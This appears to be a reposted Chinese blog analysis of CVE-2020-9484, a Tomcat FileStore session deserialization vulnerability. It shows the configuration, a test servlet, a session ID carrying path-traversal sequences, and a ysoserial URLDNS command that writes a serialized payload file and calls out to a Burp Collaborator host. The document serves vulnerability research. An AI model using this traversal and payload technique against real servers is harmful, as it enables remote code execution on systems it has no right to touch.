CVE-2020-9484 tomcat session反序列化漏洞分析

2020-06-01 约 86 字 预计阅读 1 分钟

声明:本文 【CVE-2020-9484 tomcat session反序列化漏洞分析】 由作者 f1ight 于 2020-06-01 10:04:35 首发 先知社区 曾经 浏览数 113 次

感谢 f1ight 的辛苦付出!

CVE-2020-9484 tomcat session反序列化漏洞

漏洞通告

可以看到利用条件较为苛刻,并且在复现的时候需要做一定配置

修改PersistenceManager配置,这个配置是在tomcat目录的conf目录中的context.xml中配置的,根据官网的配置方法,做如下配置

这样2,3条件满足了,之后配置tomcat的debug环境即可

漏洞分析

一般文件存储session的问题就是sessionID没有做过滤,允许跳出路径,让session文件变成攻击者控制的文件,导致漏洞产生,这次的session漏洞也不例外

我们选择了session的存储为FileStore,所以在FileStore类的load方法处设置断点

在servlet中创建一个很简单的java session

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        Properties properties = new Properties();
        properties.setProperty("org.apache.catalina.session.StandardSession.ACTIVITY_CHECK", "true");
        System.setProperties(properties);
        String res = System.getProperty("org.apache.catalina.session.StandardSession.ACTIVITY_CHECK");
        System.out.println(res);
        HttpSession httpSession = req.getSession();
        httpSession.setAttribute("username", "admin");
        resp.getWriter().println("success");
    }

现在我们的漏洞环境就搭建好了,设置tomcat启动即可

设置sessionid

我们设置sessionid存在目录穿越符号

刷新页面,被断点拦截

第一步先是获取到session文件

可以看到,我们的sessionID后面会添加一个.session后缀,这也就导致我们需要一个可控文件名的文件上传,这一点就比较难以满足

但是可以看出来,不需要准确知道确定的相对录路径,一直跳到根目录即可,但是因为sessionid有长度限制的,所以还是有一点限制

反序列化

这个时候,我们可以跳到任意目录了,我们在tmp下面生成了URLDNS的ysoserial,来做dns查询

java -jar ysoserial.jar URLDNS "http://lsh9lo0bpipjrb0kp98cn4khb8h15q.burpcollaborator.net" > /tmp/test.session

只要这个session文件存在,就会将文件内容读取出来,并且创建ObjectInputStream,最后调用了readObjectData

熟悉java反序列化的话这个地方一眼就能看出来有反序列化的问题

我们继续进入readObjectData

调用readObject,触发反序列化

利用截图

使用URLDNS,成功获取到DNS请求

漏洞利用条件较为苛刻

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now